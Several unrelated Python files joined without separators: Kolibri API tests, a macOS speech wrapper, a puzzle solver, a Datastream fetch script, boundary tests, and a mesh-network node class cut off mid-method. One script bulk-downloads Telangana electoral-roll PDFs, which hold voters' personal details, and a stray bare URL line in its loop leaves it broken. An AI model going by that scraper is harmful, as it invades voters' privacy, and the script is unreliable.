self.assertEqual(response.data["channel_ids"][:], [self.the_channel_id]) def test_search_repeated_channels(self): # Ensure that each channel_id is only returned once. response = self.client.get( reverse("kolibri:core:contentnode_search-list"), data={"search": "c"} ) channel_ids = response.data["channel_ids"][:] self.assertEqual(len(channel_ids), len(set(channel_ids))) def test_search(self): # ensure search works when there are no words not defined response = self.client.get( reverse("kolibri:core:contentnode_search-list"), data={"search": "!?,"} ) self.assertEqual(len(response.data["results"]), 0) # ensure search words when there is only stopwords response = self.client.get( reverse("kolibri:core:contentnode_search-list"), data={"search": "or"} ) self.assertEqual(len(response.data["results"]), 0) # regular search response = self.client.get( reverse("kolibri:core:contentnode_search-list"), data={"search": "root"} ) self.assertEqual(len(response.data["results"]), 1) def _create_session_logs(self): content_ids = ( "f2332710c2fd483386cdeb5ecbdda81f", "ce603df7c46b424b934348995e1b05fb", "481e1bda1faa445d801ceb2afbd2f42f", ) channel_id = "6199dde695db4ee4ab392222d5af1e5c" [ ContentSessionLog.objects.create( channel_id=channel_id, content_id=content_ids[0], start_timestamp=timezone.now(), kind="audio", ) for _ in range(50) ] [ ContentSessionLog.objects.create( channel_id=channel_id, content_id=content_ids[1], start_timestamp=timezone.now(), kind="exercise", ) for _ in range(25) ] [ ContentSessionLog.objects.create( channel_id=channel_id, content_id=content_ids[2], start_timestamp=timezone.now(), kind="document", ) for _ in range(1) ] # create log for non existent content id # should not show up in api response ContentSessionLog.objects.create( channel_id=uuid.uuid4().hex, content_id=uuid.uuid4().hex, start_timestamp=timezone.now(), kind="content", ) return content_ids def test_popular(self): expected_content_ids = self._create_session_logs() response = self.client.get(reverse("kolibri:core:contentnode-popular")) response_content_ids = set(node["content_id"] for node in response.json()) self.assertSetEqual(set(expected_content_ids), response_content_ids) def test_popular_no_coach_content(self): expected_content_ids = self._create_session_logs() node = content.ContentNode.objects.get(content_id=expected_content_ids[0]) node.coach_content = True node.save() expected_content_ids = expected_content_ids[1:] response = self.client.get( reverse("kolibri:core:contentnode-popular"), data={"include_coach_content": False}, ) response_content_ids = set(node["content_id"] for node in response.json()) self.assertSetEqual(set(expected_content_ids), response_content_ids) def test_popular_coach_has_coach_content(self): coach = FacilityUser.objects.create(username="coach", facility=self.facility) coach.set_password(DUMMY_PASSWORD) coach.save() self.facility.add_coach(coach) expected_content_ids = self._create_session_logs() node = content.ContentNode.objects.get(content_id=expected_content_ids[0]) node.coach_content = True node.save() self.client.login(username="coach", password=DUMMY_PASSWORD) response = self.client.get( reverse("kolibri:core:contentnode-popular"), data={"include_coach_content": True}, ) response_content_ids = set(node["content_id"] for node in response.json()) self.assertSetEqual(set(expected_content_ids), response_content_ids) def test_popular_ten_minute_cache(self): self._create_session_logs() response = self.client.get(reverse("kolibri:core:contentnode-popular")) self.assertEqual(response["Cache-Control"], "max-age=600") def _create_summary_logs(self): facility = Facility.objects.create(name="MyFac") user = FacilityUser.objects.create(username="user", facility=facility) content_ids = ("f2332710c2fd483386cdeb5ecbdda81f",) channel_id = "6199dde695db4ee4ab392222d5af1e5c" ContentSummaryLog.objects.create( channel_id=channel_id, content_id=content_ids[0], user_id=user.id, start_timestamp=timezone.now(), kind="audio", ) # create log with progress of 1 # should not show up in api response ContentSummaryLog.objects.create( channel_id=channel_id, content_id="ce603df7c46b424b934348995e1b05fb", user_id=user.id, progress=1, start_timestamp=timezone.now(), kind="audio", ) # create log for non existent content id # should not show up in api response ContentSummaryLog.objects.create( channel_id=uuid.uuid4().hex, content_id=uuid.uuid4().hex, user_id=user.id, start_timestamp=timezone.now(), kind="content", ) user.set_password(DUMMY_PASSWORD) user.save() return user, content_ids def test_resume(self): user, expected_content_ids = self._create_summary_logs() self.client.login(username=user.username, password=DUMMY_PASSWORD) response = self.client.get( reverse("kolibri:core:contentnode-resume", kwargs={"pk": user.id}) ) response_content_ids = set(node["content_id"] for node in response.json()) self.assertSetEqual(set(expected_content_ids), response_content_ids) def test_resume_wrong_id(self): user, expected_content_ids = self._create_summary_logs() self.client.login(username=user.username, password=DUMMY_PASSWORD) response = self.client.get( reverse("kolibri:core:contentnode-resume", kwargs={"pk": "wrong"}) ) response_content_ids = [node["content_id"] for node in response.json()] self.assertEqual([], response_content_ids) def test_resume_zero_cache(self): user, expected_content_ids = self._create_summary_logs() self.client.login(username=user.username, password=DUMMY_PASSWORD) response = self.client.get( reverse("kolibri:core:contentnode-resume", kwargs={"pk": user.id}) ) self.assertEqual(response["Cache-Control"], "max-age=0") def test_next_steps_prereq(self): facility = Facility.objects.create(name="MyFac") user = FacilityUser.objects.create(username="user", facility=facility) root = content.ContentNode.objects.get(title="root") ContentSummaryLog.objects.create( channel_id=root.channel_id, content_id=root.content_id, user_id=user.id, progress=1, start_timestamp=timezone.now(), kind="audio", ) user.set_password(DUMMY_PASSWORD) user.save() self.client.login(username=user.username, password=DUMMY_PASSWORD) post_req = root.prerequisite_for.first() expected_content_ids = (post_req.content_id,) response = self.client.get( reverse("kolibri:core:contentnode-next-steps", kwargs={"pk": user.id}) ) response_content_ids = set(node["content_id"] for node in response.json()) self.assertSetEqual(set(expected_content_ids), response_content_ids) def test_next_steps_prereq_zero_cache(self): facility = Facility.objects.create(name="MyFac") user = FacilityUser.objects.create(username="user", facility=facility) root = content.ContentNode.objects.get(title="root") ContentSummaryLog.objects.create( channel_id=root.channel_id, content_id=root.content_id, user_id=user.id, progress=1, start_timestamp=timezone.now(), kind="audio", ) user.set_password(DUMMY_PASSWORD) user.save() self.client.login(username=user.username, password=DUMMY_PASSWORD) response = self.client.get( reverse("kolibri:core:contentnode-next-steps", kwargs={"pk": user.id}) ) self.assertEqual(response["Cache-Control"], "max-age=0") def test_next_steps_prereq_wrong_id(self): facility = Facility.objects.create(name="MyFac") user = FacilityUser.objects.create(username="user", facility=facility) root = content.ContentNode.objects.get(title="root") ContentSummaryLog.objects.create( channel_id=root.channel_id, content_id=root.content_id, user_id=user.id, progress=1, start_timestamp=timezone.now(), kind="audio", ) user.set_password(DUMMY_PASSWORD) user.save() self.client.login(username=user.username, password=DUMMY_PASSWORD) response = self.client.get( reverse("kolibri:core:contentnode-next-steps", kwargs={"pk": "wrong"}) ) response_content_ids = [node["content_id"] for node in response.json()] self.assertEqual([], response_content_ids) def test_next_steps_prereq_in_progress(self): facility = Facility.objects.create(name="MyFac") user = FacilityUser.objects.create(username="user", facility=facility) root = content.ContentNode.objects.get(title="root") ContentSummaryLog.objects.create( channel_id=root.channel_id, content_id=root.content_id, user_id=user.id, progress=1, start_timestamp=timezone.now(), kind="audio", ) user.set_password(DUMMY_PASSWORD) user.save() self.client.login(username=user.username, password=DUMMY_PASSWORD) post_req = root.prerequisite_for.first() ContentSummaryLog.objects.create( channel_id=post_req.channel_id, content_id=post_req.content_id, user_id=user.id, progress=0.5, start_timestamp=timezone.now(), kind="audio", ) expected_content_ids = [] response = self.client.get( reverse("kolibri:core:contentnode-next-steps", kwargs={"pk": user.id}) ) response_content_ids = set(node["content_id"] for node in response.json()) self.assertSetEqual(set(expected_content_ids), response_content_ids) def test_next_steps_prereq_coach_content_not_coach(self): facility = Facility.objects.create(name="MyFac") user = FacilityUser.objects.create(username="user", facility=facility) root = content.ContentNode.objects.get(title="root") ContentSummaryLog.objects.create( channel_id=root.channel_id, content_id=root.content_id, user_id=user.id, progress=1, start_timestamp=timezone.now(), kind="audio", ) user.set_password(DUMMY_PASSWORD) user.save() self.client.login(username=user.username, password=DUMMY_PASSWORD) post_req = root.prerequisite_for.first() post_req.coach_content = True post_req.save() response = self.client.get( reverse("kolibri:core:contentnode-next-steps", kwargs={"pk": user.id}) ) response_content_ids = set(node["content_id"] for node in response.json()) self.assertSetEqual(set(), response_content_ids) def test_next_steps_prereq_coach_content_coach(self): facility = Facility.objects.create(name="MyFac") user = FacilityUser.objects.create(username="user", facility=facility) facility.add_coach(user) root = content.ContentNode.objects.get(title="root") ContentSummaryLog.objects.create( channel_id=root.channel_id, content_id=root.content_id, user_id=user.id, progress=1, start_timestamp=timezone.now(), kind="audio", ) user.set_password(DUMMY_PASSWORD) user.save() self.client.login(username=user.username, password=DUMMY_PASSWORD) post_req = root.prerequisite_for.first() post_req.coach_content = True post_req.save() expected_content_ids = (post_req.content_id,) response = self.client.get( reverse("kolibri:core:contentnode-next-steps", kwargs={"pk": user.id}) ) response_content_ids = set(node["content_id"] for node in response.json()) self.assertSetEqual(set(expected_content_ids), response_content_ids) def test_next_steps_sibling(self): facility = Facility.objects.create(name="MyFac") user = FacilityUser.objects.create(username="user", facility=facility) node = content.ContentNode.objects.get( content_id="ce603df7c46b424b934348995e1b05fb" ) ContentSummaryLog.objects.create( channel_id=node.channel_id, content_id=node.content_id, user_id=user.id, progress=1, start_timestamp=timezone.now(), kind="audio", ) user.set_password(DUMMY_PASSWORD) user.save() self.client.login(username=user.username, password=DUMMY_PASSWORD) sibling = node.get_next_sibling() expected_content_ids = (sibling.content_id,) response = self.client.get( reverse("kolibri:core:contentnode-next-steps", kwargs={"pk": user.id}) ) response_content_ids = set(node["content_id"] for node in response.json()) self.assertSetEqual(set(expected_content_ids), response_content_ids) def test_next_steps_sibling_in_progress(self): facility = Facility.objects.create(name="MyFac") user = FacilityUser.objects.create(username="user", facility=facility) node = content.ContentNode.objects.get( content_id="ce603df7c46b424b934348995e1b05fb" ) ContentSummaryLog.objects.create( channel_id=node.channel_id, content_id=node.content_id, user_id=user.id, progress=1, start_timestamp=timezone.now(), kind="audio", ) user.set_password(DUMMY_PASSWORD) user.save() self.client.login(username=user.username, password=DUMMY_PASSWORD) sibling = node.get_next_sibling() ContentSummaryLog.objects.create( channel_id=sibling.channel_id, content_id=sibling.content_id, user_id=user.id, progress=0.5, start_timestamp=timezone.now(), kind="audio", ) expected_content_ids = [] response = self.client.get( reverse("kolibri:core:contentnode-next-steps", kwargs={"pk": user.id}) ) response_content_ids = set(node["content_id"] for node in response.json()) self.assertSetEqual(set(expected_content_ids), response_content_ids) def test_next_steps_sibling_coach_content_not_coach(self): facility = Facility.objects.create(name="MyFac") user = FacilityUser.objects.create(username="user", facility=facility) node = content.ContentNode.objects.get( content_id="ce603df7c46b424b934348995e1b05fb" ) ContentSummaryLog.objects.create( channel_id=node.channel_id, content_id=node.content_id, user_id=user.id, progress=1, start_timestamp=timezone.now(), kind="audio", ) user.set_password(DUMMY_PASSWORD) user.save() self.client.login(username=user.username, password=DUMMY_PASSWORD) sibling = node.get_next_sibling() sibling.coach_content = True sibling.save() response = self.client.get( reverse("kolibri:core:contentnode-next-steps", kwargs={"pk": user.id}) ) response_content_ids = set(node["content_id"] for node in response.json()) self.assertSetEqual(set(), response_content_ids) def test_next_steps_sibling_coach_content_coach(self): facility = Facility.objects.create(name="MyFac") user = FacilityUser.objects.create(username="user", facility=facility) facility.add_coach(user) node = content.ContentNode.objects.get( content_id="ce603df7c46b424b934348995e1b05fb" ) ContentSummaryLog.objects.create( channel_id=node.channel_id, content_id=node.content_id, user_id=user.id, progress=1, start_timestamp=timezone.now(), kind="audio", ) user.set_password(DUMMY_PASSWORD) user.save() self.client.login(username=user.username, password=DUMMY_PASSWORD) sibling = node.get_next_sibling() sibling.coach_content = True sibling.save() expected_content_ids = (sibling.content_id,) response = self.client.get( reverse("kolibri:core:contentnode-next-steps", kwargs={"pk": user.id}) ) response_content_ids = set(node["content_id"] for node in response.json()) self.assertSetEqual(set(expected_content_ids), response_content_ids) def tearDown(self): """ clean up files/folders created during the test """ cache.clear() super(ContentNodeAPITestCase, self).tearDown() def mock_patch_decorator(func): def wrapper(*args, **kwargs): mock_object = mock.Mock() mock_object.json.return_value = [{"id": 1, "name": "studio"}] with mock.patch.object(requests, "get", return_value=mock_object): return func(*args, **kwargs) return wrapper class KolibriStudioAPITestCase(APITestCase): @classmethod def setUpTestData(cls): DeviceSettings.objects.create(is_provisioned=True) cls.facility = Facility.objects.create(name="facility") superuser = FacilityUser.objects.create( username="superuser", facility=cls.facility ) superuser.set_password(DUMMY_PASSWORD) superuser.save() cls.superuser = superuser DevicePermissions.objects.create(user=superuser, is_superuser=True) def setUp(self): self.client.login(username=self.superuser.username, password=DUMMY_PASSWORD) @mock_patch_decorator def test_channel_list(self): response = self.client.get( reverse("kolibri:core:remotechannel-list"), format="json" ) self.assertEqual(response.data[0]["id"], 1) @mock_patch_decorator def test_channel_retrieve_list(self): response = self.client.get( reverse("kolibri:core:remotechannel-retrieve-list", kwargs={"pk": 1}), format="json", ) self.assertEqual(response.data[0]["id"], 1) @mock_patch_decorator def test_no_permission_non_superuser_channel_list(self): user = FacilityUser.objects.create(username="user", facility=self.facility) user.set_password(DUMMY_PASSWORD) user.save() self.client.logout() self.client.login(username=user.username, password=DUMMY_PASSWORD) response = self.client.get( reverse("kolibri:core:remotechannel-list"), format="json" ) self.assertEqual(response.status_code, 403) @mock_patch_decorator def test_channel_retrieve(self): response = self.client.get( reverse("kolibri:core:remotechannel-detail", kwargs={"pk": "abc"}), format="json", ) self.assertEqual(response.data["name"], "studio") @mock_patch_decorator def test_channel_info_404(self): mock_object = mock.Mock() mock_object.status_code = 404 requests.get.return_value = mock_object response = self.client.get( reverse("kolibri:core:remotechannel-detail", kwargs={"pk": "abc"}), format="json", ) self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) def tearDown(self): cache.clear()
import os import re import subprocess from utils import whereis_exe class osx_voice(): def __init__(self, voice_line): mess = voice_line.split(' ') cleaned = [ part for part in mess if len(part)>0 ] self.name = cleaned[0] self.locality = cleaned[1] self.desc = cleaned[2].replace('# ', '') def __str__(self): return self.name + ' ' + self.locality + ' ' + self.desc def fetch_voices(): osx_voices = [] if whereis_exe("say"): voices_raw = os.popen("say -v ?").read() voice_lines = voices_raw.split('\n') for line in voice_lines: try: osx_voices.append(osx_voice(line)) except IndexError: pass return osx_voices def speak(text, voice, rate): if whereis_exe("say"): subprocess.call(["say", text, "-v", voice, "-r", rate])
import urllib2 import os baseurl = "http://ceoaperms.ap.gov.in/TS_Rolls/PDFGeneration.aspx?urlPath=D:\SSR2016_Final\Telangana\AC_001\English\S29A" constituencyCount = 0 constituencyTotal = 229 while constituencyCount <= constituencyTotal: pdfCount = 1 notDone = True constituencyCount = constituencyCount + 1 while notDone: http://ceoaperms.ap.gov.in/TS_Rolls/PDFGeneration.aspx?urlPath=D:\SSR2016_Final\Telangana\AC_001\English\S29A001P001.PDF url = baseurl+str(constituencyCount).zfill(2)+'P'+str(pdfCount).zfill(3)+".pdf" pdfCount = pdfCount + 1 try: u = urllib2.urlopen(url) response_headers = u.info() if response_headers.type == 'application/pdf': directory = "Path to dir" + str(constituencyCount).zfill(3) + "/" try: os.makedirs(directory) except OSError: pass # already exists file_name = directory + url.split('/')[-1] u = urllib2.urlopen(url) f = open(file_name, 'wb') meta = u.info() file_size = int(meta.getheaders("Content-Length")[0]) print "Downloading: %s Bytes: %s" % (file_name, file_size) file_size_dl = 0 block_sz = 8192 while True: buffer = u.read(block_sz) if not buffer: break file_size_dl += len(buffer) f.write(buffer) status = r"%10d [%3.2f%%]" % (file_size_dl, file_size_dl * 100. / file_size) status = status + chr(8)*(len(status)+1) print status, f.close() else: notDone = False except urllib2.URLError, e: if e.code == 404: notDone = False
import sys import re from itertools import islice def window(seq, n=2): "Returns a sliding window (of width n) over data from the iterable" " s -> (s0,s1,...s[n-1]), (s1,s2,...,sn), ... " it = iter(seq) result = tuple(islice(it, n)) if len(result) == n: yield result for elem in it: result = result[1:] + (elem,) yield result def has_abba(string): for s in window(string, 4): if s[:2] == s[:1:-1] and s[0] != s[1]: return True return False def main(argv): if len(argv) < 2: print("Usage: day07-pt1.py puzzle.txt") return 1 valid = 0 with open(argv[1]) as f: for line in f: nets = re.split('[\[\]]', line.strip()) if any(has_abba(s) for s in nets[::2]) \ and not any(has_abba(h) for h in nets[1::2]): valid += 1 print(valid) return 0 if __name__ == '__main__': sys.exit(main(sys.argv))
from pydatastream import Datastream import json import datetime import sys import os.path dir_input = "input/" dir_output = "output/" numOfArgs = len(sys.argv) - 1 if numOfArgs != 3: print "Please run this python script with username,password and input file location in that order respectively." exit() username = str(sys.argv[1]) pw = str(sys.argv[2]) input_file_loc = dir_input + str(sys.argv[3]) if ( not os.path.isfile(str(input_file_loc)) ): print "The file " + str(input_file_loc) + " does not exist." exit() DWE = Datastream(username=username,password=pw) info = DWE.system_info() subscribed_sources = DWE.sources() DWE.raise_on_error = False with open(input_file_loc,'r') as input_file: symbol_ref = json.load(input_file) download_date = {'Custom_Download_Date' : datetime.datetime.now().isoformat()} time_taken = datetime.datetime.now() time_taken = time_taken - time_taken for desc,desc_value in symbol_ref.iteritems(): for group,group_value in desc_value.iteritems(): #create list for custom fields custom_fields = list() for code_key,code_value in group_value.iteritems(): for key,value in code_value.iteritems(): if(key == 'code'): search_code = value search_symbol = {'Custom_Ticker' : value} if(key == 'start_date'): start_date = value if(key == 'custom_field'): custom_fields[:] = [] custom_fields.append(value) startTime = datetime.datetime.now() #send request to retrieve the data from Datastream req = DWE.fetch(str(search_code),custom_fields,date_from=str(start_date),only_data=False) time_taken = time_taken + datetime.datetime.now() - startTime #format date and convert to json raw_json = req[0].to_json(date_format='iso') raw_metadata = req[1].to_json() #Data cleaning and processing #remove the time component including the '.' char from the key values of datetime in the data raw_json = raw_json.replace("T00:00:00.000Z","") #replace the metadata's keys from "0" to "default_ws_key" raw_metadata = raw_metadata.replace("\"0\"","\"Custom_WS_Key\"") #combine the data and the metadata about the code allData_str = json.loads(raw_json) metadata_str = json.loads(raw_metadata) datastream_combined = {key : value for (key,value) in (allData_str.items() + metadata_str.items())} #create symbol json string and append to data data_with_symbol = {key : value for (key,value) in (search_symbol.items() + datastream_combined.items())} #append group group_code = {'Custom_Group' : group} data_with_group = {key : value for (key,value) in (group_code.items() + data_with_symbol.items())} #append category category = {'Custom_Description' : desc} data_with_category = {key : value for (key,value) in (category.items() + data_with_group.items())} #append download timestamp final_data = {key : value for (key,value) in (download_date.items() + data_with_category.items())} final_data_json = json.dumps(final_data) #decode to the right format for saving to disk json_file = json.JSONDecoder().decode((final_data_json)) #save to json file on server if(len(group_value) > 1): filename = dir_output + desc + '_' + group + '_' + code_key + '.json' else: filename = dir_output + desc + '_' + group + '.json' with open(filename,'w') as outfile: json.dump(json_file,outfile,sort_keys=True) print "time taken for " + str(sys.argv[3]) + " to be retrieved: " + str(time_taken)
"""Unit tests for conus_boundary.py.""" import unittest import numpy from gewittergefahr.gg_utils import conus_boundary QUERY_LATITUDES_DEG = numpy.array([ 33.7, 42.6, 39.7, 34.9, 40.2, 33.6, 36.4, 35.1, 30.8, 47.4, 44.2, 45.1, 49.6, 38.9, 35.0, 38.1, 40.7, 47.1, 30.2, 39.2 ]) QUERY_LONGITUDES_DEG = numpy.array([ 276.3, 282.7, 286.6, 287.5, 271.0, 266.4, 258.3, 257.3, 286.8, 235.0, 273.5, 262.5, 277.2, 255.3, 271.8, 254.3, 262.1, 247.8, 262.9, 251.6 ]) IN_CONUS_FLAGS = numpy.array( [1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1], dtype=bool ) class ConusBoundaryTests(unittest.TestCase): """Each method is a unit test for conus_boundary.py.""" def test_find_points_in_conus_no_shortcuts(self): """Ensures correct output from find_points_in_conus. In this case, does not use shortcuts. """ conus_latitudes_deg, conus_longitudes_deg = ( conus_boundary.read_from_netcdf() ) these_flags = conus_boundary.find_points_in_conus( conus_latitudes_deg=conus_latitudes_deg, conus_longitudes_deg=conus_longitudes_deg, query_latitudes_deg=QUERY_LATITUDES_DEG, query_longitudes_deg=QUERY_LONGITUDES_DEG, use_shortcuts=False) self.assertTrue(numpy.array_equal(these_flags, IN_CONUS_FLAGS)) def test_find_points_in_conus_with_shortcuts(self): """Ensures correct output from find_points_in_conus. In this case, uses shortcuts. """ conus_latitudes_deg, conus_longitudes_deg = ( conus_boundary.read_from_netcdf() ) these_flags = conus_boundary.find_points_in_conus( conus_latitudes_deg=conus_latitudes_deg, conus_longitudes_deg=conus_longitudes_deg, query_latitudes_deg=QUERY_LATITUDES_DEG, query_longitudes_deg=QUERY_LONGITUDES_DEG, use_shortcuts=True) self.assertTrue(numpy.array_equal(these_flags, IN_CONUS_FLAGS)) if __name__ == '__main__': unittest.main()
import somnTCP import somnUDP import somnPkt import somnRouteTable from somnLib import * import struct import queue import threading import socket import time import random PING_TIMEOUT = 5 class somnData(): def __init__(self, ID, data): self.nodeID = ID self.data = data class somnMesh(threading.Thread): TCPTxQ = queue.Queue() TCPRxQ = queue.Queue() UDPRxQ = queue.Queue() UDPAlive = threading.Event() networkAlive = threading.Event() routeTable = somnRouteTable.somnRoutingTable() cacheId = [0,0,0,0] cacheRoute = [0,0,0,0] cacheNextIndex = 0 _mainLoopRunning = 0 enrolled = False nodeID = 0 nodeIP = "127.0.0.1" nodePort = 0 lastEnrollReq = 0 connCache = [('',0),('',0),('',0)] _printCallbackFunction = None def __init__(self, TxDataQ, RxDataQ, printCallback = None): threading.Thread.__init__(self) self.CommTxQ = TxDataQ self.CommRxQ = RxDataQ random.seed() self.nodeID = random.getrandbits(16) self.nextConnCacheIndex = 0 self._printCallbackFunction = printCallback TCPTxQ = queue.Queue() TCPRxQ = queue.Queue() UDPRxQ = queue.Queue() self.pendingRouteID = 0 self.pendingRoute = 0 self.pendingRouteHTL = 1 self.routeLock = threading.Lock() self.routeBlock = threading.Event() self.pingTimer = threading.Timer(random.randrange(45,90), self._pingRouteTable) self.pingCache = [0,0,0,0,0] self.pingLock = threading.Lock() def printinfo(self, outputStr): if self._printCallbackFunction == None: print("{0:04X}: {1}".format(self.nodeID, outputStr)) else: self._printCallbackFunction(self.nodeID, outputStr) def enroll(self): #self.printinfo("enrolling") tcpRespTimeout = False ACK = random.getrandbits(16) enrollPkt = somnPkt.SomnPacket() enrollPkt.InitEmpty("NodeEnrollment") enrollPkt.PacketFields['ReqNodeID'] = self.nodeID enrollPkt.PacketFields['ReqNodeIP'] = IP2Int(self.nodeIP) enrollPkt.PacketFields['ReqNodePort'] = self.nodePort enrollPkt.PacketFields['AckSeq'] = ACK udp = somnUDP.somnUDPThread(enrollPkt, self.UDPRxQ, self.networkAlive, self.UDPAlive) udp.start() while not tcpRespTimeout and self.routeTable.getNodeCount() < 3: try: enrollResponse = self.TCPRxQ.get(timeout = 1) except queue.Empty: tcpRespTimeout = True break respNodeID = enrollResponse.PacketFields['RespNodeID'] respNodeIP = enrollResponse.PacketFields['RespNodeIP'] respNodePort = enrollResponse.PacketFields['RespNodePort'] #self.printinfo("Got enrollment response from {0:04X}".format(respNodeID)) self.routeTable.getNodeIndexFromId(respNodeID) if self.routeTable.getNodeIndexFromId(respNodeID) > 0: self.TCPRxQ.task_done() continue elif enrollResponse.PacketType == somnPkt.SomnPacketType.NodeEnrollment and enrollResponse.PacketFields['AckSeq'] == ACK: if self.routeTable.addNode(respNodeID, Int2IP(respNodeIP), respNodePort) < 0: self.printinfo("Something went wrong in adding the node") #TODO: Can we make this an exception? packedEnrollResponse = somnPkt.SomnPacketTxWrapper(enrollResponse, Int2IP(respNodeIP),respNodePort) self.TCPTxQ.put(packedEnrollResponse) self.enrolled = True self.printinfo("Enrolled to: {0:04X}".format(respNodeID)) self.TCPRxQ.task_done() #break return udp def run(self): socket.setdefaulttimeout(5) self.networkAlive.set() Rx = somnTCP.startSomnRx(self.nodeIP, self.nodePort, self.networkAlive, self.TCPRxQ) Tx = somnTCP.startSomnTx(self.networkAlive, self.TCPTxQ) while True: if Rx.bound and Tx.bound: break self.nodePort = Rx.port #self.printinfo("Port: {0}".format(self.nodePort)) enrollAttempts = 0 while not self.enrolled: self.UDPAlive.set() UDP = self.enroll() if self.enrolled: break elif enrollAttempts < 2: self.UDPAlive.clear() UDP.join() enrollAttempts = enrollAttempts + 1 else: self.enrolled = True self.printinfo("Enrolled as Alpha Node") break #start main loop to handle incoming queueus self._mainLoopRunning = 1 rxThread = threading.Thread(target = self._handleTcpRx) rxThread.start() self.pingTimer.start() while self._mainLoopRunning: self._handleUdpRx() self._handleTx() # Do a bunch of stuff try: self.pingTimer.cancel() except: pass self.networkAlive.clear() UDP.networkAlive = False UDP.join() Rx.join() Tx.join() self.TCPRxQ.join() self.TCPTxQ.join() self.CommTxQ.join() self.CommRxQ.join() def _pingRouteTable(self): # check if previous route requests were returned self.pingLock.acquire() for idx, node in enumerate(self.pingCache): if node != 0: # remove nodes where no response was returned self.printinfo("Dropping Node: {0:04X}".format(node)) self.routeTable.removeNodeByIndex(self.routeTable.getNodeIndexFromId(node)) # unset returned route cache self.pingCache[idx] = 0 self.pingLock.release() # send a RouteReqeust for node 0xFFFF to each entry in the routing table for node in self.routeTable.getConnectedNodes(): nodeIndex = self.routeTable.getNodeIndexFromId(node) self.pingLock.acquire() self.pingCache[nodeIndex - 1] = node self.pingLock.release() pingPkt = somnPkt.SomnPacket() pingPkt.InitEmpty(somnPkt.SomnPacketType.RouteRequest) pingPkt.PacketFields['SourceID'] = self.nodeID pingPkt.PacketFields['LastNodeID'] = self.nodeID pingPkt.PacketFields['DestID'] = 0xFFFF pingPkt.PacketFields['HTL'] = 1 TxInfo = self.routeTable.getNodeInfoByIndex(nodeIndex) TxPkt = somnPkt.SomnPacketTxWrapper(pingPkt, TxInfo.nodeAddress, TxInfo.nodePort) self.TCPTxQ.put(TxPkt) self.pingTimer = threading.Timer(random.randrange(45,90), self._pingRouteTable) self.pingTimer.start() def _handleTx(self): #print("Handle TX") try: TxData = self.CommTxQ.get(False) except: return #TODO: Tx Data coming from the Comm Layer needs to packetized route = 0 #check cache for route to dest ID if TxData.nodeID in self.cacheId: route = self.cacheRoute[self.cacheId.index(TxData.nodeID)] else: route = self._getRoute(TxData.nodeID) #TODO Lock around this self.pendingRouteID = 0 self.pendingRouteHTL = 1 if route == 0: # no valid rout found self.printinfo(" *** NO ROUTE FOUND *** ") return # inset path into cache, for now this is a FIFO eviction policy, should upgrade to an LFU policy self.cacheId[self.cacheNextIndex] = TxData.nodeID self.cacheRoute[self.cacheNextIndex] = route self.cacheNextIndex = self.cacheNextIndex + 1 if self.cacheNextIndex > 3: self.cacheNextIndex = 0 #pop first step in route from route string nextRoute, newRoute = self._popRoute(route) #nextRouteStep = newRoute[0] #set route string in packet TxPkt = somnPkt.SomnPacket() TxPkt.InitEmpty(somnPkt.SomnPacketType.Message) TxPkt.PacketFields['SourceID'] = self.nodeID TxPkt.PacketFields['DestID'] = TxData.nodeID TxPkt.PacketFields['Message'] = TxData.data TxPkt.PacketFields['Route'] = newRoute #create wrapper packet to send to next step in route TxNodeInfo = self.routeTable.getNodeInfoByIndex(nextRoute) if TxNodeInfo is None: self.cacheRoute[self.cacheId.index(TxData.nodeID)] = 0 self.CommTxQ.task_done() self.CommTxQ.put(TxData) return txPktWrapper = somnPkt.SomnPacketTxWrapper(TxPkt, TxNodeInfo.nodeAddress, TxNodeInfo.nodePort) #send packet to TX layer self.TCPTxQ.put(txPktWrapper) self.CommTxQ.task_done() def _handleTcpRx(self): while self._mainLoopRunning: try: RxPkt = self.TCPRxQ.get(False) except: continue pktType = RxPkt.PacketType #self.printinfo("Rx'd TCP packet of type: {0}".format(pktType)) if pktType == somnPkt.SomnPacketType.NodeEnrollment: #print("Enrollment Packet Received") self.pingTimer.cancel() # There is a potential for stale enroll responses from enrollment phase, drop stale enroll responses if RxPkt.PacketFields['ReqNodeID'] == self.nodeID: continue # We need to disable a timer, enroll the node, if timer has expired, do nothing for idx, pendingEnroll in enumerate(self.connCache): if (RxPkt.PacketFields['ReqNodeID'], RxPkt.PacketFields['AckSeq']) == pendingEnroll[0]: # disable timer pendingEnroll[1].cancel() # clear connCache entry self.connCache[idx] = (('',0),) # add node self.routeTable.addNode(RxPkt.PacketFields['ReqNodeID'], Int2IP(RxPkt.PacketFields['ReqNodeIP']), RxPkt.PacketFields['ReqNodePort']) #self.printinfo("Enrolled Node:{0:04X} ".format(RxPkt.PacketFields['ReqNodeID'])) break self.pingTimer = threading.Timer(random.randrange(45,90), self._pingRouteTable) self.pingTimer.start() elif pktType == somnPkt.SomnPacketType.Message: #print("({0:X}) Message Packet Received".format(self.nodeID)) # Check if we are the dest node if RxPkt.PacketFields['DestID'] == self.nodeID: self.printinfo("{0:04X} -> {1:04X}: {2}".format(RxPkt.PacketFields['SourceID'], self.nodeID, RxPkt.PacketFields['Message'])) # strip headers before pushing onto queue commData = somnData(RxPkt.PacketFields['SourceID'], RxPkt.PacketFields['Message']) self.CommRxQ.put(commData) # otherwise, propagate the message along the route elif not RxPkt.PacketFields['Route']: # generate bad_route event print("nothing to see here, move along folks") else: nextHop, RxPkt.PacketFields['Route'] = self._popRoute(RxPkt.PacketFields['Route']) TxNodeInfo = self.routeTable.getNodeInfoByIndex(nextHop) if TxNodeInfo is None: # this should generate a bad route pacekt self.printinfo("Invalid Route Event") self.TCPRxQ.task_done() continue TxPkt = somnPkt.SomnPacketTxWrapper(RxPkt, TxNodeInfo.nodeAddress, TxNodeInfo.nodePort) self.TCPTxQ.put(TxPkt) elif pktType == somnPkt.SomnPacketType.RouteRequest: #print("Route Req Packet Received") if RxPkt.PacketFields['SourceID'] == self.nodeID: # this our route request, deal with it. if self.pendingRouteID == RxPkt.PacketFields['DestID']: self.routeLock.acquire() #self.printinfo("Servicing Returned Route for {0:04X}".format(self.pendingRouteID)) if RxPkt.PacketFields['Route'] != 0: self.pendingRoute = self._pushRoute(RxPkt.PacketFields['Route'], self.routeTable.getNodeIndexFromId(RxPkt.PacketFields['LastNodeID'])) self.routeBlock.set() self.routeLock.release() self.TCPRxQ.task_done() continue elif RxPkt.PacketFields['HTL'] < 10: self.routeLock.release() self.pendingRouteHTL = self.pendingRouteHTL + 1 